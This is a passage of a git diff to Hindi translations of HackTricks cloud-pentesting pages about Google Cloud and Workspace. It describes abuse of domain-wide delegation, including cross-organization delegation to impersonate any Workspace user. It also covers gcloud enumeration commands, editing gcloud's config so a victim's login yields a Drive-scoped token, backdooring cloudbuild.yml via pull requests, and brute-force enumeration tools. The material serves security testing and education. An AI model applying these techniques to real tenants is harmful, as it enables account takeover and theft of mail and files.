- The **full list of OAuth scopes** can be found [**here**](https://developers.google.com/identity/protocols/oauth2/scopes), but here is a recommendation: `https://www.googleapis.com/auth/userinfo.email, https://www.googleapis.com/auth/cloud-platform, https://www.googleapis.com/auth/admin.directory.group, https://www.googleapis.com/auth/admin.directory.user, https://www.googleapis.com/auth/admin.directory.domain, https://mail.google.com/, https://www.googleapis.com/auth/drive, openid`
4. **Acting on behalf of the target identity:** At this point, we have a functioning delegated object in GWS. Now, **using the GCP Service Account private key, we can perform API calls** (in the scope defined in the OAuth scope parameter) to trigger it and **act on behalf of any identity that exists in Google Workspace**. As we learned, the service account will generate access tokens per its needs and according to the permission he has to REST API applications.
- Check the **previous section** for some **tools** to use this delegation.
1. **एक नई सेवा खाता और संबंधित कुंजी जोड़ी उत्पन्न करना:** GCP पर, नई सेवा खाता संसाधनों को या तो इंटरैक्टिव रूप से कंसोल के माध्यम से या सीधे API कॉल और CLI उपकरणों का उपयोग करके प्रोग्रामेटिक रूप से उत्पन्न किया जा सकता है। इसके लिए **भूमिका `iam.serviceAccountAdmin`** या किसी भी कस्टम भूमिका की आवश्यकता होती है जिसमें **`iam.serviceAccounts.create`** **अनुमति** हो। एक बार सेवा खाता बन जाने के बाद, हम एक **संबंधित कुंजी जोड़ी** उत्पन्न करने के लिए आगे बढ़ेंगे (**`iam.serviceAccountKeys.create`** अनुमति)।
2. **नई प्रतिनिधित्व का निर्माण**: यह समझना महत्वपूर्ण है कि **केवल सुपर एडमिन भूमिका के पास Google Workspace में वैश्विक Domain-Wide प्रतिनिधित्व स्थापित करने की क्षमता है** और Domain-Wide प्रतिनिधित्व **प्रोग्रामेटिक रूप से स्थापित नहीं किया जा सकता,** इसे केवल Google Workspace **कंसोल** के माध्यम से **हाथ से** बनाया और समायोजित किया जा सकता है।
- नियम का निर्माण **API controls → Manage Domain-Wide delegation in Google Workspace Admin console** पृष्ठ के तहत पाया जा सकता है।
3. **OAuth स्कोप विशेषाधिकार संलग्न करना**: एक नई प्रतिनिधित्व को कॉन्फ़िगर करते समय, Google केवल 2 पैरामीटर की आवश्यकता होती है, क्लाइंट आईडी, जो **GCP सेवा खाता** संसाधन का **OAuth ID** है, और **OAuth स्कोप** जो परिभाषित करता है कि प्रतिनिधित्व को कौन से API कॉल की आवश्यकता है।
- **OAuth स्कोप की पूरी सूची** [**यहाँ**](https://developers.google.com/identity/protocols/oauth2/scopes) पाई जा सकती है, लेकिन यहाँ एक सिफारिश है: `https://www.googleapis.com/auth/userinfo.email, https://www.googleapis.com/auth/cloud-platform, https://www.googleapis.com/auth/admin.directory.group, https://www.googleapis.com/auth/admin.directory.user, https://www.googleapis.com/auth/admin.directory.domain, https://mail.google.com/, https://www.googleapis.com/auth/drive, openid`
4. **लक्षित पहचान के पक्ष में कार्य करना:** इस बिंदु पर, हमारे पास GWS में एक कार्यशील प्रतिनिधित्व वस्तु है। अब, **GCP सेवा खाता निजी कुंजी का उपयोग करके, हम API कॉल कर सकते हैं** (OAuth स्कोप पैरामीटर में परिभाषित स्कोप में) इसे सक्रिय करने और **Google Workspace में मौजूद किसी भी पहचान के पक्ष में कार्य करने के लिए।** जैसा कि हमने सीखा, सेवा खाता अपनी आवश्यकताओं के अनुसार और REST API अनुप्रयोगों के लिए उसके पास मौजूद अनुमति के अनुसार एक्सेस टोकन उत्पन्न करेगा।
- इस प्रतिनिधित्व का उपयोग करने के लिए कुछ **उपकरणों** के लिए **पिछले अनुभाग** की जांच करें।
#### Cross-Organizational delegation
#### क्रॉस-ऑर्गनाइजेशनल प्रतिनिधित्व
OAuth SA ID is global and can be used for **cross-organizational delegation**. There has been no restriction implemented to prevent cross-global delegation. In simple terms, **service accounts from different GCP organizations can be used to configure domain-wide delegation on other Workspace organizations**. This would result in **only needing Super Admin access to Workspace**, and not access to the same GCP account, as the adversary can create Service Accounts and private keys on his personally controlled GCP account.
OAuth SA ID वैश्विक है और इसका उपयोग **क्रॉस-ऑर्गनाइजेशनल प्रतिनिधित्व** के लिए किया जा सकता है। क्रॉस-वैश्विक प्रतिनिधित्व को रोकने के लिए कोई प्रतिबंध लागू नहीं किया गया है। सरल शब्दों में, **विभिन्न GCP संगठनों के सेवा खातों का उपयोग अन्य Workspace संगठनों पर डोमेन-व्यापी प्रतिनिधित्व कॉन्फ़िगर करने के लिए किया जा सकता है।** इसका परिणाम होगा कि **Workspace के लिए केवल सुपर एडमिन पहुंच की आवश्यकता है**, और न कि उसी GCP खाते तक पहुंच की, क्योंकि प्रतिकूलता अपने व्यक्तिगत रूप से नियंत्रित GCP खाते पर सेवा खातों और निजी कुंजी बना सकता है।
### Creating a Project to enumerate Workspace
### Workspace को सूचीबद्ध करने के लिए एक प्रोजेक्ट बनाना
By **default** Workspace **users** have the permission to **create new projects**, and when a new project is created the **creator gets the Owner role** over it.
**डिफ़ॉल्ट** रूप से Workspace **उपयोगकर्ताओं** को **नए प्रोजेक्ट बनाने** की अनुमति होती है, और जब एक नया प्रोजेक्ट बनाया जाता है तो **निर्माता को उस पर मालिक की भूमिका मिलती है।**
Therefore, a user can **create a project**, **enable** the **APIs** to enumerate Workspace in his new project and try to **enumerate** it.
इसलिए, एक उपयोगकर्ता **एक प्रोजेक्ट बना सकता है**, **APIs** को सक्षम कर सकता है ताकि वह अपने नए प्रोजेक्ट में Workspace को सूचीबद्ध कर सके और इसे **सूचीबद्ध** करने की कोशिश कर सके।
> [!CAUTION]
> In order for a user to be able to enumerate Workspace he also needs enough Workspace permissions (not every user will be able to enumerate the directory).
> एक उपयोगकर्ता के लिए Workspace को सूचीबद्ध करने के लिए, उसे पर्याप्त Workspace अनुमतियाँ भी चाहिए (हर उपयोगकर्ता निर्देशिका को सूचीबद्ध करने में सक्षम नहीं होगा)।
```bash
# Create project
gcloud projects create <uniq-projec-name> --name=proj-name
@@ -116,7 +116,7 @@ gcloud identity groups memberships list --group-email=g<group-email>
# FROM HERE THE USER NEEDS TO HAVE ENOUGH WORKSPACE ACCESS
gcloud beta identity groups preview --customer <org-cust-id>
```
Check **अधिक एन्यूमरेशन में**:
चेक करें **अधिक एन्यूमरेशन में**:
{{#ref}}
../gcp-services/gcp-iam-and-org-policies-enum.md
@@ -124,23 +124,23 @@ Check **अधिक एन्यूमरेशन में**:
### Gcloud क्रेडेंशियल्स का दुरुपयोग
आप `gcloud` लॉगिन के प्रवाह के बारे में और जानकारी पा सकते हैं:
आप लॉगिन के लिए `gcloud` प्रवाह के बारे में और जानकारी पा सकते हैं:
{{#ref}}
../gcp-persistence/gcp-non-svc-persistance.md
{{#endref}}
जैसा कि वहां समझाया गया है, gcloud **`https://www.googleapis.com/auth/drive`** स्कोप का अनुरोध कर सकता है जो एक उपयोगकर्ता को उपयोगकर्ता के ड्राइव तक पहुंचने की अनुमति देगा।\
जैसा कि वहां समझाया गया है, gcloud स्कोप **`https://www.googleapis.com/auth/drive`** का अनुरोध कर सकता है जो एक उपयोगकर्ता को उपयोगकर्ता के ड्राइव तक पहुंचने की अनुमति देगा।\
एक हमलावर के रूप में, यदि आपने किसी उपयोगकर्ता के कंप्यूटर को **शारीरिक रूप से** समझौता किया है और **उपयोगकर्ता अभी भी लॉग इन है** अपने खाते के साथ, तो आप ड्राइव तक पहुंच के लिए एक टोकन उत्पन्न करके लॉगिन कर सकते हैं:
```bash
gcloud auth login --enable-gdrive-access
```
यदि एक हमलावर एक उपयोगकर्ता के कंप्यूटर से समझौता करता है, तो वह फ़ाइल `google-cloud-sdk/lib/googlecloudsdk/core/config.py` को भी संशोधित कर सकता है और **`CLOUDSDK_SCOPES`** में स्कोप **`'https://www.googleapis.com/auth/drive'`** जोड़ सकता है:
यदि एक हमलावर एक उपयोगकर्ता के कंप्यूटर को समझौता करता है, तो वह फ़ाइल `google-cloud-sdk/lib/googlecloudsdk/core/config.py` को भी संशोधित कर सकता है और **`CLOUDSDK_SCOPES`** में स्कोप **`'https://www.googleapis.com/auth/drive'`** जोड़ सकता है:
<figure><img src="../../../images/image (342).png" alt="" width="563"><figcaption></figcaption></figure>
> [!WARNING]
> इसलिए, अगली बार जब उपयोगकर्ता लॉग इन करेगा, तो वह **ड्राइव तक पहुंच के साथ एक टोकन बनाएगा** जिसका उपयोग हमलावर ड्राइव तक पहुंच प्राप्त करने के लिए कर सकता है। स्पष्ट रूप से, ब्राउज़र यह संकेत देगा कि उत्पन्न टोकन ड्राइव तक पहुंच रखेगा, लेकिन जब उपयोगकर्ता स्वयं **`gcloud auth login`** करेगा, तो वह शायद **कुछ भी संदेह नहीं करेगा।**
> इसलिए, अगली बार जब उपयोगकर्ता लॉग इन करेगा, तो वह **ड्राइव तक पहुंच के साथ एक टोकन बनाएगा** जिसका उपयोग हमलावर ड्राइव तक पहुंच प्राप्त करने के लिए कर सकता है। स्पष्ट रूप से, ब्राउज़र यह संकेत देगा कि उत्पन्न टोकन को ड्राइव तक पहुंच प्राप्त होगी, लेकिन चूंकि उपयोगकर्ता स्वयं **`gcloud auth login`** करेगा, इसलिए वह शायद **कुछ भी संदेह नहीं करेगा।**
>
> ड्राइव फ़ाइलों की सूची बनाने के लिए: **`curl -H "Authorization: Bearer $(gcloud auth print-access-token)" "https://www.googleapis.com/drive/v3/files"`**
@@ -154,7 +154,7 @@ gcloud auth login --enable-gdrive-access
डिफ़ॉल्ट रूप से, उपयोगकर्ता **संगठन के कार्यक्षेत्र समूहों में स्वतंत्र रूप से शामिल हो सकते हैं** और उन समूहों को **GCP अनुमतियाँ** असाइन की जा सकती हैं (अपने समूहों की जांच करें [https://groups.google.com/](https://groups.google.com/))।
**गूगल समूहों के विशेषाधिकार वृद्धि** का दुरुपयोग करके, आप GCP पर कुछ प्रकार की विशेषाधिकार पहुंच वाले समूह में वृद्धि करने में सक्षम हो सकते हैं।
**google groups privesc** का दुरुपयोग करके, आप GCP पर कुछ प्रकार की विशेषाधिकार पहुंच वाले समूह में वृद्धि करने में सक्षम हो सकते हैं।
### संदर्भ
@@ -1,28 +1,28 @@
# GCP - Understanding Domain-Wide Delegation
# GCP - डोमेन-व्यापी प्रतिनिधित्व को समझना
{{#include ../../../banners/hacktricks-training.md}}
यह पोस्ट [https://www.hunters.security/en/blog/delefriend-a-newly-discovered-design-flaw-in-domain-wide-delegation-could-leave-google-workspace-vulnerable-for-takeover](https://www.hunters.security/en/blog/delefriend-a-newly-discovered-design-flaw-in-domain-wide-delegation-could-leave-google-workspace-vulnerable-for-takeover) का परिचय है जिसे अधिक विवरण के लिए एक्सेस किया जा सकता है।
## **Understanding Domain-Wide Delegation**
## **डोमेन-व्यापी प्रतिनिधित्व को समझना**
Google Workspace का Domain-Wide delegation एक पहचान वस्तु, या तो एक **external app** जो Google Workspace Marketplace से है या एक आंतरिक **GCP Service Account**, को **उपयोगकर्ताओं की ओर से Workspace में डेटा तक पहुचने** की अनुमति देता है। यह सुविधा, जो Google APIs या सेवाओं के साथ बातचीत करने वाले ऐप्स के लिए महत्वपूर्ण है जिन्हें उपयोगकर्ता का अनुकरण करने की आवश्यकता होती है, कार्यक्षता को बढ़ाती है और कार्यों को स्वचालित करके मानव त्रुटियों को कम करती है। OAuth 2.0 का उपयोग करते हुए, ऐप डेवलपर्स और प्रशासक इन सेवा खातों को उपयोगकर्ता डेटा तक पहुच प्रदान कर सकते हैं बिना व्यक्तिगत उपयोगकर्ता की सहमति के।\
Google Workspace का डोमेन-व्यापी प्रतिनिधित्व एक पहचान वस्तु, या तो एक **बाहरी ऐप** Google Workspace मार्केटप्लेस से या एक आंतरिक **GCP सेवा खाता**, को **उपयोगकर्ताओं की ओर से Workspace में डेटा तक पहुचने** की अनुमति देता है। यह सुविधा, जो Google APIs या सेवाओं के साथ बातचीत करने वाले ऐप्स के लिए महत्वपूर्ण है, कार्यों को स्वचालित करके दक्षता बढ़ाती है और मानव त्रुटियों को कम करती है। OAuth 2.0 का उपयोग करते हुए, ऐप डेवलपर्स और प्रशासक इन सेवा खातों को व्यक्तिगत उपयोगकर्ता की सहमति के बिना उपयोगकर्ता डेटा तक पहुच प्रदान कर सकते हैं।\
\
Google Workspace दो मुख्य प्रकार की वैश्विक प्रतिनिधि वस्तु पहचान बनाने की अनुमति देता है:
Google Workspace दो मुख्य प्रकार की वैश्विक प्रतिनिधि पहचान वस्तुओं के निर्माण की अनुमति देता है:
- **GWS Applications:** Workspace Marketplace से प् को एक प्रतिनिधि पहचान के रूप में सेट किया जा सकता है। मार्केटप्लेस में उपलब्ध होने से पहले, प्रत्येक Workspace ऐप Google द्वारा संभावित दुरुपयोग को कम करने के लिए समीक्षा की जाती है। जबकि यह दुरुपयोग के जोखिम को पूरी तरह से समाप्त नहीं करता, यह ऐसे घटनाओं के होने की कठिनाई को काफी बढ़ा देता है।
- **GCP Service Account:** [**GCP Service Accounts के बारे में अधिक जानें**](../gcp-basic-information/#service-accounts)।
- **GWS एप्लिकेशन:** Workspace मार्केटप्लेस से प्लिकेशन को एक प्रतिनिधि पहचान के रूप में सेट किया जा सकता है। मार्केटप्लेस में उपलब्ध होने से पहले, प्रत्येक Workspace एप्लिकेशन का संभावित दुरुपयोग को कम करने के लिए Google द्वारा समीक्षा की जाती है। जबकि यह दुरुपयोग के जोखिम को पूरी तरह से समाप्त नहीं करता, यह ऐसे घटनाओं के होने की कठिनाई को काफी बढ़ा देता है।
- **GCP सेवा खाता:** [**GCP सेवा खातों के बारे में अधिक जानें**](../gcp-basic-information/#service-accounts)।
### **Domain-Wide Delegation: Under the Hood**
### **डोमेन-व्यापी प्रतिनिधित्व: अंदर की बात**
यह इस तरह है कि एक GCP Service Account Google APIs को अन्य पहचान के behalf पर कैसे एक्सेस कर सकता है:
यह है कि एक GCP सेवा खाता Google Workspace में अन्य पहचानों की ओर से Google APIs तक कैसे पहुंच सकता है:
<figure><img src="../../../images/image (58).png" alt=""><figcaption></figcaption></figure>
1. **Identity creates a JWT:** पहचान सेवा खाते की निजी कुंजी (JSON कुंजी जोड़ी फ़ाइल का हिस्सा) का उपयोग करके एक JWT पर हस्ताक्षर करती है। यह JWT सेवा खाते, अनुकरण करने के लिए लक्षित उपयोगकर्ता, और REST API के लिए अनुरोधित OAuth स्कोप के बारे में दावे शामिल करता है।
2. **The Identity uses the JWT to request an access token:** एप्लिकेशन/उपयोगकर्ता JWT का उपयोग करके Google के OAuth 2.0 सेवा से एक एक्सेस टोकन का अनुरोध करता है। अनुरोध में अनुकरण करने के लिए लक्षित उपयोगकर्ता (उपयोगकर्ता का Workspace ईमेल) और जिन स्कोप के लिए एक्सेस का अनुरोध किया गया है, शामिल होते हैं।
3. **Google's OAuth 2.0 service returns an access token:** एक्सेस टोकन सेवा खाते के अधिकार का प्रतिनिधित्व करता है कि वह निर्दिष्ट स्कोप के लिए उपयोगकर्ता की ओर से कार्य करे। यह टोकन आमतौर पर अल्पकालिक होता है और इसे समय-समय पर (एप्लिकेशन की आवश्यकता के अनुसार) ताज़ा करना आवश्यक होता है। यह समझना आवश्यक है कि JWT टोकन में निर्दिष्ट OAuth स्कोप की वैधता होती है और परिणामस्वरूप एक्सेस टोकन पर प्रभाव डालती है। उदाहरण के लिए, कई स्कोप वाले एक्सेस टोकन कई REST API एप्लिकेशनों के लिए वैधता रखेंगे।
4. **The Identity uses the access token to call Google APIs**: अब एक प्रासंगिक एक्सेस टोकन के साथ, सेवा आवश्यक REST API को एक्सेस कर सकती है। एप्लिकेशन इस एक्सेस टोकन का उपयोग Google APIs के लिए अपने HTTP अनुरोधों के "Authorization" हेडर में करता है। ये APIs टोकन का उपयोग अनुकरण की गई पहचान की पुष्टि करने और यह सुनिश्चित करने के लिए करती हैं कि इसके पास आवश्यक प्राधिकरण है।
5. **Google APIs return the requested data**: यदि एक्सेस टोकन मान्य है और सेवा खाते के पास उचित प्राधिकरण है, तो Google APIs अनुरोधित डेटा लौटाती हैं। उदाहरण के लिए, निम्नलिखित चित्र में, हमने लक्षित Workspace उपयोगकर्ता े साथ जुड़े सभी Gmail संदेश ID को सूचीबद्ध करने के लिए _users.messages.list_ विधि का उपयोग किया है।
1. **पहचान एक JWT बनाती है:** पहचान सेवा खाते की निजी कुंजी (JSON कुंजी जोड़ी फ़ाइल का हिस्सा) का उपयोग करके एक JWT पर हस्ताक्षर करती है। इस JWT में सेवा खाते, लक्ष्य उपयोगकर्ता जिसे अनुकरण करना है, और REST API के लिए अनुरोधित OAuth स्कोप के बारे में दावे होते है
2. **पहचान JWT का उपयोग करके एक एक्सेस टोकन का अनुरोध करती है:** एप्लिकेशन/उपयोगकर्ता JWT का उपयोग करके Google के OAuth 2.0 सेवा से एक एक्सेस टोकन का अनुरोध करता है। अनुरोध में अनुकरण करने के लिए लक्ष्य उपयोगकर्ता (उपयोगकर्ता का Workspace ईमेल) और जिन स्कोप के लिए एक्सेस का अनुरोध किया गया है, शामिल होते हैं।
3. **Google की OAuth 2.0 सेवा एक एक्सेस टोकन लौटाती है:** एक्सेस टोकन सेवा खाते के अधिकार का प्रतिनिधित्व करता है कि वह निर्दिष्ट स्कोप के लिए उपयोगकर्ता की ओर से कार्य करे। यह टोकन आमतौर पर अल्पकालिक होता है और इसे समय-समय पर (एप्लिकेशन की आवश्यकता के अनुसार) नवीनीकरण करना आवश्यक होता है। यह समझना आवश्यक है कि JWT टोकन में निर्दिष्ट OAuth स्कोप की वैधता होती है और यह परिणामस्वरूप एक्सेस टोकन पर प्रभाव डालती है। उदाहरण के लिए, कई स्कोप वाले एक्सेस टोकन कई REST API एप्लिकेशनों के लिए वैधता रखेंगे।
4. **पहचान एक्सेस टोकन का उपयोग करके Google APIs को कॉल करती है**: अब एक प्रासंगिक एक्सेस टोकन के साथ, सेवा आवश्यक REST API तक पहुंच सकती है। एप्लिकेशन इस एक्सेस टोकन का उपयोग अपने HTTP अनुरोधों के "Authorization" हेडर में करता है जो Google APIs के लिए होते हैं। ये APIs टोकन का उपयोग अनुकरण की गई पहचान की पुष्टि करने और यह सुनिश्चित करने के लिए करती हैं कि इसके पास आवश्यक प्राधिकरण है।
5. **Google APIs अनुरोधित डेटा लौटाती हैं**: यदि एक्सेस टोकन मान्य है और सेवा खाते के पास उचित प्राधिकरण है, तो Google APIs अनुरोधित डेटा लौटाती हैं। उदाहरण के लिए, निम्नलिखित चित्र में, हमने लक्ष्य Workspace उपयोगकर्ता े संबंधित सभी Gmail संदेश ID को सूचीबद्ध करने के लिए _users.messages.list_ विधि का उपयोग किया है।
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,4 +1,4 @@
# GCP - Unauthenticated Enum & Access
# GCP - अनधिकृत Enum और पहुँच
{{#include ../../../banners/hacktricks-training.md}}
@@ -6,13 +6,13 @@
किसी कंपनी के सार्वजनिक क्लाउड संसाधनों को खोजने का एक तरीका है कि उनके वेब को स्क्रैप किया जाए। [**CloudScraper**](https://github.com/jordanpotti/CloudScraper) जैसे उपकरण वेब को स्क्रैप करते हैं और **सार्वजनिक क्लाउड संसाधनों के लिए लिंक** की खोज करते हैं (इस मामले में यह उपकरण `['amazonaws.com', 'digitaloceanspaces.com', 'windows.net', 'storage.googleapis.com', 'aliyuncs.com']` की खोज करता है)
ध्यान दें कि अन्य क्लाउड संसाधनों की भी खोज की जा सकती है और कभी-कभी ये संसाधन **CNAME रजिस्ट्रि के माध्यम से उन्हें इंगित करने वाले उपडोमेन के पीछे छिपे होते हैं**
ध्यान दें कि अन्य क्लाउड संसाधनों की भी खोज की जा सकती है और कभी-कभी ये संसाधन **CNAME रजिस्ट्र्री के माध्यम से उन्हें इंगित करने वाले उपडोमेन के पीछे छिपे होते हैं**
## सार्वजनिक संसाधनों का ब्रूट-फोर्स
### बकेट, फायरबेस, ऐप्स और क्लाउड फ़ंक्शंस
### बकेट, फायरबेस, ऐप्स और क्लाउड फ़ंक्शंस
- [https://github.com/initstring/cloud_enum](https://github.com/initstring/cloud_enum): यह उपकरण GCP में बकेट, फायरबेस रियलटाइम डेटाबेस, गूगल ऐप इंजन साइटों और क्लाउड फ़ंक्शंस का ब्रूट-फोर्स करता है
- [https://github.com/initstring/cloud_enum](https://github.com/initstring/cloud_enum): यह उपकरण GCP में बकेट, फायरबेस रियलटाइम डेटाबेस, Google App Engine साइटों और क्लाउड फ़ंक्शंस का ब्रूट-फोर्स करता है
- [https://github.com/0xsha/CloudBrute](https://github.com/0xsha/CloudBrute): यह उपकरण GCP में बकेट और ऐप्स का ब्रूट-फोर्स करता है।
{{#include ../../../banners/hacktricks-training.md}}
@@ -43,7 +43,7 @@ resource: projects/89123452509
service: cloudresourcemanager.googleapis.com
reason: AUTH_PERMISSION_DENIED
```
### Brute Force API endspoints
### Brute Force API endpoints
जैसा कि आप नहीं जानते होंगे कि प्रोजेक्ट में कौन से APIs सक्षम हैं, यह दिलचस्प होगा कि आप टूल [https://github.com/ozguralp/gmapsapiscanner](https://github.com/ozguralp/gmapsapiscanner) चलाएं और **जांचें कि आप API कुंजी के साथ क्या एक्सेस कर सकते हैं।**
@@ -1,4 +1,4 @@
# GCP - App Engine Unauthenticated Enum
# GCP - App Engine अनधिकृत Enum
{{#include ../../../banners/hacktricks-training.md}}
@@ -10,11 +10,11 @@ App Engine के बारे में अधिक जानकारी क
../gcp-services/gcp-app-engine-enum.md
{{#endref}}
### Brute Force Subdomains
### ब्रूट फोर्स सबडोमेन
जैसा कि उल्लेख किया गया है, App Engine वेब पृष्ठों क असाइन किया गया URL है **`<project-uniq-name>.appspot.com`** और यदि एक सेवा नाम का उपयोग किया जाता है तो यह होगा: **`<servicename>-dot-<project-uniq-name>.appspot.com`**।
जैसा कि उल्लेख किया गया है, App Engine वेब पृष्ठों के लिए असाइन किया गया URL है **`<project-uniq-name>.appspot.com`** और यदि एक सेवा नाम का उपयोग किया जाता है तो यह होगा: **`<servicename>-dot-<project-uniq-name>.appspot.com`**।
चूंकि **`project-uniq-name`** को प्रोजेक्ट बनाने वाले व्यक्ति द्वारा सेट किया जा सकता है, वे बहुत यादृच्छिक नहीं हो सकते हैं और **इनका ब्रूट-फोर्सिंग करने से कंपनियों द्वारा उजागर App Engine वेब ऐप्स मिल सकते हैं**
चूंकि **`project-uniq-name`** को प्रोजेक्ट बनाने वाले व्यक्ति द्वारा सेट किया जा सकता है, वे बहुत यादृच्छिक नहीं हो सकते हैं और **उन्हें ब्रूट-फोर्स करने से कंपनियों द्वारा उजागर App Engine वेब ऐप्स मिल सकते हैं**
आप उन उपकरणों का उपयोग कर सकते हैं जो इस प्रकार के हैं:
@@ -1,18 +1,18 @@
# GCP - Artifact Registry Unauthenticated Enum
# GCP - आर्टिफैक्ट रजिस्ट्री अनधिकृत ENUM
{{#include ../../../banners/hacktricks-training.md}}
## Artifact Registry
## आर्टिफैक्ट रजिस्ट्री
Artifact Registry के बारे में अधिक जानकारी के लिए देखें:
आर्टिफैक्ट रजिस्ट्री के बारे में अधिक जानकारी के लिए देखें:
{{#ref}}
../gcp-services/gcp-artifact-registry-enum.md
{{#endref}}
### Dependency Confusion
### निर्भरता भ्रम
निम्नलिखित पृष्ठ की जांच करें:
निम्नलिखित पृष्ठ देखें:
{{#ref}}
../gcp-persistence/gcp-artifact-registry-persistence.md
@@ -12,10 +12,10 @@ Cloud Build के बारे में अधिक जानकारी क
### cloudbuild.yml
यदि आप एक रिपॉजिटरी पर लिखने की पहुंच को समझौता करते हैं जिसमें **`cloudbuild.yml`** नामक एक फ़ाइल है, तो आप इस फ़ाइल को **बैकडोर** कर सकते हैं, जो **आदेशों को निर्दिष्ट करता है जो Cloud Build के अंदर निष्पादित होने वाले हैं** और रहस्यों को निकाल सकते हैं, जो किया जा रहा है उसे समझौता कर सकते हैं और साथ ही **Cloud Build सेवा खाता** को भी समझौता कर सकते हैं।
यदि आप एक रिपॉजिटरी पर लिखने की पहुंच को समझौता करते हैं जिसमें **`cloudbuild.yml`** नामक एक फ़ाइल है, तो आप इस फ़ाइल को **backdoor** कर सकते हैं, जो **कमांड को निर्दिष्ट करता है जो Cloud Build के अंदर निष्पादित होने वाले हैं** और रहस्यों को निकाल सकते हैं, जो किया जा रहा है उसे समझौता कर सकते हैं और साथ ही **Cloud Build सेवा खाता** को भी समझौता कर सकते हैं।
> [!NOTE]
> ध्यान दें कि GCP के पास प्रशासकों को बाहरी PRs से निर्माण प्रणालियों के निष्पादन को नियंत्रित करने क अनुमति देने का विकल्प है "Comment Control" के माध्यम से। Comment Control एक विशेषता है जहां सहयोगियों/प्रोजेक्ट मालिकों को **निर्माण को ट्रिगर करने के लिए “/gcbrun” टिप्पणी करन होती है** और इस विशेषता का उपयोग स्वाभाविक रूप से इंटरनेट पर किसी को भी आपके निर्माण प्रणालियों को ट्रिगर करने से रोकता है।
> ध्यान दें कि GCP के पास "Comment Control" के माध्यम से बाहरी PRs से निर्माण प्रणालियों के निष्पादन को नियंत्रित करने के लिए प्रशासकों को अनुमति देने का विकल्प है। Comment Control एक विशेषता है जहां सहयोगियों/प्रोजेक्ट मालिकों को **निर्माण को ट्रिगर करने के लिए “/gcbrun” टिप्पणी करने की आवश्यकता होती है** और इस विशेषता का उपयोग स्वाभाविक रूप से इंटरनेट पर किसी को भी आपके निर्माण प्रणालियों को ट्रिगर करने से रोकता है।
कुछ संबंधित जानकारी के लिए आप Github Actions पर हमले के बारे में पृष्ठ देख सकते हैं (इससे मिलता-जुलता):
@@ -25,18 +25,18 @@ Cloud Build के बारे में अधिक जानकारी क
### PR Approvals
जब ट्रिगर PR होता है क्योंकि **कोई भी सार्वजनिक रिपॉजिटरी पर PR कर सकता है**, तो किसी भी PR के साथ ट्रिगर के निष्पादन की अनुमति देना बहुत खतरनाक होगा। इसलिए, डिफ़ॉल्ट रूप से, निष्पादन केवल **मालिकों और सहयोगियों के लिए स्वचालित** होगा, और अन्य उपयोगकर्ताओं के PRs के साथ ट्रिगर को निष्पादित करने के लिए एक मालिक या सहयोगी को `/gcbrun` टिप्पणी करनी होगी।
जब ट्रिगर PR होता है क्योंकि **कोई भी सार्वजनिक रिपॉजिटरी पर PR कर सकता है**, तो किसी भी PR के साथ ट्रिगर के निष्पादन की अनुमति देना बहुत खतरनाक होगा। इसलिए, डिफ़ॉल्ट रूप से, निष्पादन केवल **मालिकों और सहयोगियों के लिए स्वचालित होगा**, और अन्य उपयोगकर्ताओं के PRs के साथ ट्रिगर को निष्पादित करने के लिए एक मालिक या सहयोगी को `/gcbrun` टिप्पणी करनी होगी।
<figure><img src="../../../images/image (339).png" alt="" width="563"><figcaption></figcaption></figure>
> [!CAUTION]
> इसलिए, यदि इसे **`Not required`** पर सेट किया गया है, तो एक हमलावर **ब्रांच पर PR कर सकता है** जो निष्पादन को ट्रिगर करेगा, जिसमें **`cloudbuild.yml`** फ़ाइल में दुर्भावनापूर्ण कोड निष्पादन जोड़ा जाएगा और cloudbuild निष्पादन को समझौता करेगा (ध्यान दें कि cloudbuild कोड को PR से डाउनलोड करेगा, इसलिए यह दुर्भावनापूर्ण **`cloudbuild.yml`** को निष्पादित करेगा)।
इसके अलावा, जब आप एक PR भेजते हैं तो यह देखना आसान है कि क्या कुछ cloudbuild निष्पादन किया जाना चाहिए क्योंकि यह Github में दिखाई देता है:
इसके अलावा, जब आप PR भेजते हैं तो यह देखना आसान है कि क्या कुछ cloudbuild निष्पादन किया जाना चाहिए क्योंकि यह Github में दिखाई देता है:
<figure><img src="../../../images/image (340).png" alt=""><figcaption></figcaption></figure>
> [!WARNING]
> फिर, भले ही cloudbuild निष्पादित न हो, हमलावर को उस कंपनी के **GCP प्रोजेक्ट का नाम** देखने में सक्षम होगा।
> फिर, भले ही cloudbuild निष्पादित न हो, हमलावर को उस कंपनी के GCP प्रोजेक्ट का **प्रोजेक्ट नाम** देखने में सक्षम होगा।
{{#include ../../../banners/hacktricks-training.md}}

Some files were not shown because too many files have changed in this diff Show More